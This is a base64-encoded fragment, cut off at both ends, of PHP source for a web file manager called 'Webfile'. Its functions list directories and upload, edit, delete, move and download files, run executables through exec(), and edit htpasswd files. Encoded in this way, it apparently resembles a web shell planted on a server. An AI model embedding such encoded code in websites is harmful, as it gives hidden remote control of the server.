dGgpIHsNCglnbG9iYWwgJHdpbjsNCg0KCWlmICgkd2luKSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAxLCAxKSAhPSAnOicpOw0KCX0gZWxzZSB7DQoJCXJldHVybiAoc3Vic3RyKCRwYXRoLCAwLCAxKSAhPSAnLycpOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBhYnNvbHV0ZTJyZWxhdGl2ZSAoJGRpcmVjdG9yeSwgJHRhcmdldCkgew0KCWdsb2JhbCAkZGVsaW07DQoNCgkkcGF0aCA9ICcnOw0KCXdoaWxlICgkZGlyZWN0b3J5ICE9ICR0YXJnZXQpIHsNCgkJaWYgKCRkaXJlY3RvcnkgPT0gc3Vic3RyKCR0YXJnZXQsIDAsIHN0cmxlbigkZGlyZWN0b3J5KSkpIHsNCgkJCSRwYXRoIC49IHN1YnN0cigkdGFyZ2V0LCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJYnJlYWs7DQoJCX0gZWxzZSB7DQoJCQkkcGF0aCAuPSAnLi4nIC4gJGRlbGltOw0KCQkJJGRpcmVjdG9yeSA9IHN1YnN0cigkZGlyZWN0b3J5LCAwLCBzdHJycG9zKHN1YnN0cigkZGlyZWN0b3J5LCAwLCAtMSksICRkZWxpbSkgKyAxKTsNCgkJfQ0KCX0NCglpZiAoJHBhdGggPT0gJycpICRwYXRoID0gJy4nOw0KDQoJcmV0dXJuICRwYXRoOw0KDQp9DQoNCmZ1bmN0aW9uIHNpbXBsaWZ5X3BhdGggKCRwYXRoKSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIGZ1bmN0aW9uX2V4aXN0cygncmVhbHBhdGgnKSAmJiBAcmVhbHBhdGgoJHBhdGgpICE9ICcnKSB7DQoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOw0KCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJCXJldHVybiBhZGRzbGFzaCgkcGF0aCk7DQoJCX0gZWxzZSB7DQoJCQlyZXR1cm4gJHBhdGg7DQoJCX0NCgl9DQoNCgkkcGF0dGVybiAgPSAkZGVsaW0gLiAnLicgLiAkZGVsaW07DQoNCglpZiAoQGlzX2RpcigkcGF0aCkpIHsNCgkJJHBhdGggPSBhZGRzbGFzaCgkcGF0aCk7DQoJfQ0KDQoJd2hpbGUgKHN0cnBvcygkcGF0aCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgew0KCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCRwYXR0ZXJuLCAkZGVsaW0sICRwYXRoKTsNCgl9DQoNCgkkZSA9IGFkZHNsYXNoZXMoJGRlbGltKTsNCgkkcmVnZXggPSAkZSAuICcoKFwuW15cLicgLiAkZSAuICddW14nIC4gJGUgLiAnXSopfChcLlwuW14nIC4gJGUgLiAnXSspfChbXlwuXVteJyAuICRlIC4gJ10qKSknIC4gJGUgLiAnXC5cLicgLiAkZTsNCg0KCXdoaWxlIChlcmVnKCRyZWdleCwgJHBhdGgpKSB7DQoJCSRwYXRoID0gZXJlZ19yZXBsYWNlKCRyZWdleCwgJGRlbGltLCAkcGF0aCk7DQoJfQ0KCQ0KCXJldHVybiAkcGF0aDsNCg0KfQ0KDQpmdW5jdGlvbiBodW1hbl9maWxlc2l6ZSAoJGZpbGVzaXplKSB7DQoNCgkkc3VmZmljZXMgPSAna01HVFBFJzsNCg0KCSRuID0gMDsNCgl3aGlsZSAoJGZpbGVzaXplID49IDEwMDApIHsNCgkJJGZpbGVzaXplIC89IDEwMjQ7DQoJCSRuKys7DQoJfQ0KDQoJJGZpbGVzaXplID0gcm91bmQoJGZpbGVzaXplLCAzIC0gc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSk7DQoNCglpZiAoc3RycG9zKCRmaWxlc2l6ZSwgJy4nKSAhPT0gZmFsc2UpIHsNCgkJd2hpbGUgKGluX2FycmF5KHN1YnN0cigkZmlsZXNpemUsIC0xLCAxKSwgYXJyYXkoJzAnLCAnLicpKSkgew0KCQkJJGZpbGVzaXplID0gc3Vic3RyKCRmaWxlc2l6ZSwgMCwgc3RybGVuKCRmaWxlc2l6ZSkgLSAxKTsNCgkJfQ0KCX0NCg0KCSRzdWZmaXggPSAoKCRuID09IDApID8gJycgOiBzdWJzdHIoJHN1ZmZpY2VzLCAkbiAtIDEsIDEpKTsNCg0KCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOw0KDQp9DQoNCmZ1bmN0aW9uIHN0cmlwICgmJHN0cikgew0KCSRzdHIgPSBzdHJpcHNsYXNoZXMoJHN0cik7DQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gbGlzdGluZ19wYWdlICgkbWVzc2FnZSA9IG51bGwpIHsNCglnbG9iYWwgJHNlbGYsICRkaXJlY3RvcnksICRzb3J0LCAkcmV2ZXJzZTsNCg0KCWh0bWxfaGVhZGVyKCk7DQoNCgkkbGlzdCA9IGdldGxpc3QoJGRpcmVjdG9yeSk7DQoNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygnc29ydCcsICRfR0VUKSkgJHNvcnQgPSAkX0dFVFsnc29ydCddOyBlbHNlICRzb3J0ID0gJ2ZpbGVuYW1lJzsNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPSB0cnVlOyBlbHNlICRyZXZlcnNlID0gZmFsc2U7DQoNCglzb3J0bGlzdCgkbGlzdCwgJHNvcnQsICRyZXZlcnNlKTsNCg0KCWVjaG8gJzxoMSBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMCI+V2ViZmlsZTwvaDE+DQoNCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGlkPSJtYWluIj4NCic7DQoNCglkaXJlY3RvcnlfY2hvaWNlKCk7DQoNCglpZiAoIWVtcHR5KCRtZXNzYWdlKSkgew0KCQlzcGFjZXIoKTsNCgkJZWNobyAkbWVzc2FnZTsNCgl9DQoNCglpZiAoQGlzX3dyaXRhYmxlKCRkaXJlY3RvcnkpKSB7DQoJCXVwbG9hZF9ib3goKTsNCgkJY3JlYXRlX2JveCgpOw0KCX0gZWxzZSB7DQoJCXNwYWNlcigpOw0KCX0NCg0KCWlmICgkbGlzdCkgew0KCQlsaXN0aW5nKCRsaXN0KTsNCgl9IGVsc2Ugew0KCQllY2hvIGVycm9yKCdub3RfcmVhZGFibGUnLCAkZGlyZWN0b3J5KTsNCgl9DQoNCgllY2hvICc8L3RhYmxlPg0KDQo8L2Zvcm0+DQoNCic7DQoNCglodG1sX2Zvb3RlcigpOw0KDQp9DQoNCmZ1bmN0aW9uIGxpc3RpbmcgKCRsaXN0KSB7DQoJZ2xvYmFsICRkaXJlY3RvcnksICRob21lZGlyLCAkc29ydCwgJHJldmVyc2UsICR3aW4sICRjb2xzLCAkZGF0ZV9mb3JtYXQsICRzZWxmOw0KDQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nIj4NCgk8dGggc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IG1pZGRsZSI+PGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9c21pbGV5IiBhbHQ9InNtaWxleSIgLz48L3RoPg0KJzsNCg0KCSRkID0gJ2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyZhbXA7JzsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2ZpbGVuYW1lJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJZWNobyAiXHQ8dGggY2xhc3M9XCJmaWxlbmFtZVwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1maWxlbmFtZSRyXCI+IiAuIHdvcmQoJ2ZpbGVuYW1lJykgLiAiPC9hPjwvdGg+XA0KIjsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgllY2hvICJcdDx0aCBjbGFzcz1cInNpemVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9c2l6ZSRyXCI+IiAuIHdvcmQoJ3NpemUnKSAuICI8L2E+PC90aD5cDQoiOw0KDQoJaWYgKCEkd2luKSB7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAncGVybWlzc2lvbicpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cInBlcm1pc3Npb25faGVhZGVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PXBlcm1pc3Npb24kclwiPiIgLiB3b3JkKCdwZXJtaXNzaW9uJykgLiAiPC9hPjwvdGg+XA0KIjsNCg0KCQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdvd25lcicpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cIm93bmVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PW93bmVyJHJcIj4iIC4gd29yZCgnb3duZXInKSAuICI8L2E+PC90aD5cDQoiOw0KDQoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwiZ3JvdXBcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9Z3JvdXAkclwiPiIgLiB3b3JkKCdncm91cCcpIC4gIjwvYT48L3RoPlwNCiI7DQoNCgl9DQoNCgllY2hvICcJPHRoIGNsYXNzPSJmdW5jdGlvbnMiPicgLiB3b3JkKCdmdW5jdGlvbnMnKSAuICc8L3RoPg0KPC90cj4NCic7DQoNCglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGxpc3QpOyAkaSsrKSB7DQoJCSRmaWxlID0gJGxpc3RbJGldOw0KDQoJCSR0aW1lc3RhbXBzICA9ICdtdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0LCAkZmlsZVsnbXRpbWUnXSkgLiAnLCAnOw0KCQkkdGltZXN0YW1wcyAuPSAnYXRpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2F0aW1lJ10pIC4gJywgJzsNCgkJJHRpbWVzdGFtcHMgLj0gJ2N0aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydjdGltZSddKTsNCg0KCQllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmciPg0KCTx0ZCBjbGFzcz0iY2hlY2tib3giPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tlZCcgLiAkaSAuICciIHZhbHVlPSJ0cnVlIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPjwvdGQ+DQoJPHRkIGNsYXNzPSJmaWxlbmFtZSIgdGl0bGU9IicgLiBodG1sKCR0aW1lc3RhbXBzKSAuICciPic7DQoNCgkJaWYgKCRmaWxlWydpc19saW5rJ10pIHsNCg0KCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9bGluayIgYWx0PSJsaW5rIiAvPiAnOw0KCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICcgJnJhcnI7ICc7DQoNCgkJCSRyZWFsX2ZpbGUgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsndGFyZ2V0J10sICRkaXJlY3RvcnkpOw0KDQoJCQlpZiAoQGlzX3JlYWRhYmxlKCRyZWFsX2ZpbGUpKSB7DQoJCQkJaWYgKEBpc19kaXIoJHJlYWxfZmlsZSkpIHsNCgkJCQkJZWNobyAnWyA8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+IF0nOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXZpZXcmYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkcmVhbF9maWxlKSAuICciPicgLiBodG1sKCRmaWxlWyd0YXJnZXQnXSkgLiAnPC9hPic7DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQllY2hvIGh0bWwoJGZpbGVbJ3RhcmdldCddKTsNCgkJCX0NCg0KCQl9IGVsc2VpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoNCgkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZvbGRlciIgYWx0PSJmb2xkZXIiIC8+IFsgJzsNCgkJCWlmICgkd2luIHx8ICRmaWxlWydpc19leGVjdXRhYmxlJ10pIHsNCgkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJzwvYT4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pOw0KCQkJfQ0KCQkJZWNobyAnIF0nOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmIChzdWJzdHIoJGZpbGVbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcuJykgew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWhpZGRlbl9maWxlIiBhbHQ9ImhpZGRlbiBmaWxlIiAvPiAnOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1maWxlIiBhbHQ9ImZpbGUiIC8+ICc7DQoJCQl9DQoNCgkJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7DQoJCQkgICBlY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAnPC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJCQl9DQoNCgkJfQ0KDQoJCWlmICgkZmlsZVsnc2l6ZSddID49IDEwMDApIHsNCgkJCSRodW1hbiA9ICcgdGl0bGU9IicgLiBodW1hbl9maWxlc2l6ZSgkZmlsZVsnc2l6ZSddKSAuICciJzsNCgkJfSBlbHNlIHsNCgkJCSRodW1hbiA9ICcnOw0KCQl9DQoNCgkJZWNobyAiXHQ8dGQgY2xhc3M9XCJzaXplXCIkaHVtYW4+eyRmaWxlWydzaXplJ119IEI8L3RkPlwNCiI7DQoNCgkJaWYgKCEkd2luKSB7DQoNCgkJCWVjaG8gIlx0PHRkIGNsYXNzPVwicGVybWlzc2lvblwiIHRpdGxlPVwiIiAuIGRlY29jdCgkZmlsZVsncGVybWlzc2lvbiddKSAuICciPic7DQoNCgkJCSRsID0gISRmaWxlWydpc19saW5rJ10gJiYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHVpZCcpIHx8ICRmaWxlWydvd25lciddID09IHBvc2l4X2dldHVpZCgpKTsNCgkJCWlmICgkbCkgZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249cGVybWlzc2lvbiZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyZhbXA7ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj4nOw0KCQkJZWNobyBodG1sKHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nKCRmaWxlWydwZXJtaXNzaW9uJ10pKTsNCgkJCWlmICgkbCkgZWNobyAnPC9hPic7DQoNCgkJCWVjaG8gIjwvdGQ+XA0KIjsNCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsNCgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3duZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlwNCiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwib3duZXJcIj57JGZpbGVbJ293bmVyJ119PC90ZD5cDQoiOw0KCQkJfQ0KDQoJCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygnZ3JvdXBfbmFtZScsICRmaWxlKSkgew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwiZ3JvdXBcIiB0aXRsZT1cImdpZDogeyRmaWxlWydncm91cCddfVwiPnskZmlsZVsnZ3JvdXBfbmFtZSddfTwvdGQ+XA0KIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlwNCiI7DQoJCQl9DQoNCgkJfQ0KDQoJCWVjaG8gJwk8dGQgY2xhc3M9ImZ1bmN0aW9ucyI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUnIC4gJGkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGVbJ3BhdGgnXSkgLiAnIiAvPg0KJzsNCg0KCQkkYWN0aW9ucyA9IGFycmF5KCk7DQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjcmVhdGVfc3ltbGluayc7DQoJCX0NCgkJaWYgKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlWydwYXRoJ10pKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOw0KCQkJJGFjdGlvbnNbXSA9ICdyZW5hbWUnOw0KCQkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgkJfQ0KCQlpZiAoJGZpbGVbJ2lzX2ZpbGUnXSAmJiAkZmlsZVsnaXNfcmVhZGFibGUnXSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjb3B5JzsNCgkJCSRhY3Rpb25zW10gPSAnZG93bmxvYWQnOw0KCQkJaWYgKCRmaWxlWydpc193cml0YWJsZSddKSAkYWN0aW9uc1tdID0gJ2VkaXQnOw0KCQl9DQoJCWlmICghJHdpbiAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10gJiYgZmlsZV9leGlzdHMoJy9iaW4vc2gnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdleGVjdXRlJzsNCgkJfQ0KDQoJCWlmIChzaXplb2YoJGFjdGlvbnMpID4gMCkgew0KDQoJCQllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb24nIC4gJGkgLiAnIiBzaXplPSIxIj4NCgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPg0KJzsNCg0KCQkJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFjdGlvbikgew0KCQkJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24pIC4gIjwvb3B0aW9uPlwNCiI7DQoJCQl9DQoNCgkJCWVjaG8gJwkJPC9zZWxlY3Q+DQoJCTxpbnB1dCBjbGFzcz0ic21hbGwiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0JyAuICRpIC4gJyIgdmFsdWU9IiAmZ3Q7ICIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCic7DQoNCgkJfQ0KDQoJCWVjaG8gJwk8L3RkPg0KPC90cj4NCic7DQoNCgl9DQoNCgllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmdfZm9vdGVyIj4NCgk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wIj48aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1hcnJvdyIgYWx0PSImZ3Q7IiAvPjwvdGQ+DQoJPHRkIGNvbHNwYW49IicgLiAoJGNvbHMgLSAxKSAuICciPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJudW0iIHZhbHVlPSInIC4gc2l6ZW9mKCRsaXN0KSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvY3VzIiB2YWx1ZT0iIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvbGRkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQonOw0KDQoJJGFjdGlvbnMgPSBhcnJheSgpOw0KCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsNCgkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOw0KCQkkYWN0aW9uc1tdID0gJ21vdmUnOw0KCX0NCgkkYWN0aW9uc1tdID0gJ2NvcHknOw0KDQoJZWNobyAnCQk8c2VsZWN0IGNsYXNzPSJzbWFsbCIgbmFtZT0iYWN0aW9uX2FsbCIgc2l6ZT0iMSI+DQoJCTxvcHRpb24gdmFsdWU9IiI+JyAuIHN0cl9yZXBlYXQoJyZuYnNwOycsIDMwKSAuICc8L29wdGlvbj4NCic7DQoNCglmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7DQoJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24pIC4gIjwvb3B0aW9uPlwNCiI7DQoJfQ0KDQoJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlucHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfYWxsIiB2YWx1ZT0iICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsNCglnbG9iYWwgJGRpcmVjdG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+DQoJCTxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGhvbWVkaXIpIC4gJyI+JyAuIHdvcmQoJ2RpcmVjdG9yeScpIC4gJzwvYT46DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJlY3RvcnlcJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJ1cGxvYWQiPg0KCQknIC4gd29yZCgnZmlsZScpIC4gJzoNCgkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxvYWQnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZV9ib3ggKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImNyZWF0ZSI+DQoJCTxzZWxlY3QgbmFtZT0iY3JlYXRlX3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIj4NCgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfY3JlYXRlIiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZScpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdjcmVhdGVcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVkaXQgKCRmaWxlKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRlZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7DQoNCglodG1sX2hlYWRlcigpOw0KDQoJZWNobyAnPGgyIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAzcHQiPicgLiBodG1sKCRmaWxlKSAuICc8L2gyPg0KDQo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCg0KCTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0iJyAuICRlZGl0cm93cyAuICciIFdSQVA9Im9mZiI+JzsNCg0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdjb250ZW50JywgJF9QT1NUKSkgew0KCQllY2hvICRfUE9TVFsnY29udGVudCddOw0KCX0gZWxzZSB7DQoJCSRmID0gZm9wZW4oJGZpbGUsICdyJyk7DQoJCXdoaWxlICghZmVvZigkZikpIHsNCgkJCWVjaG8gaHRtbChmcmVhZCgkZiwgODE5MikpOw0KCQl9DQoJCWZjbG9zZSgkZik7DQoJfQ0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsNCgkJZWNobyAiXA0KIiAuICRfUE9TVFsndXNlciddIC4gJzonIC4gY3J5cHQoJF9QT1NUWydwYXNzd29yZCddKTsNCgl9DQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Jhc2ljX2F1dGgnXSkpIHsNCgkJaWYgKCR3aW4pIHsNCgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7DQoJCX0gZWxzZSB7DQoJCQkkYXV0aGZpbGUgPSAkZGlyZWN0b3J5IC4gJGh0cGFzc3dkOw0KCQl9DQoJCWVjaG8gIlwNCkF1dGhUeXBlIEJhc2ljXA0KQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcDQoiOw0KCQllY2hvICdBdXRoVXNlckZpbGUgJnF1b3Q7JyAuIGh0bWwoJGF1dGhmaWxlKSAuICImcXVvdDtcDQoiOw0KCQllY2hvICdSZXF1aXJlIHZhbGlkLXVzZXInOw0KCX0NCg0KCWVjaG8gJzwvdGV4dGFyZWE+DQoNCgk8aHIgLz4NCic7DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0c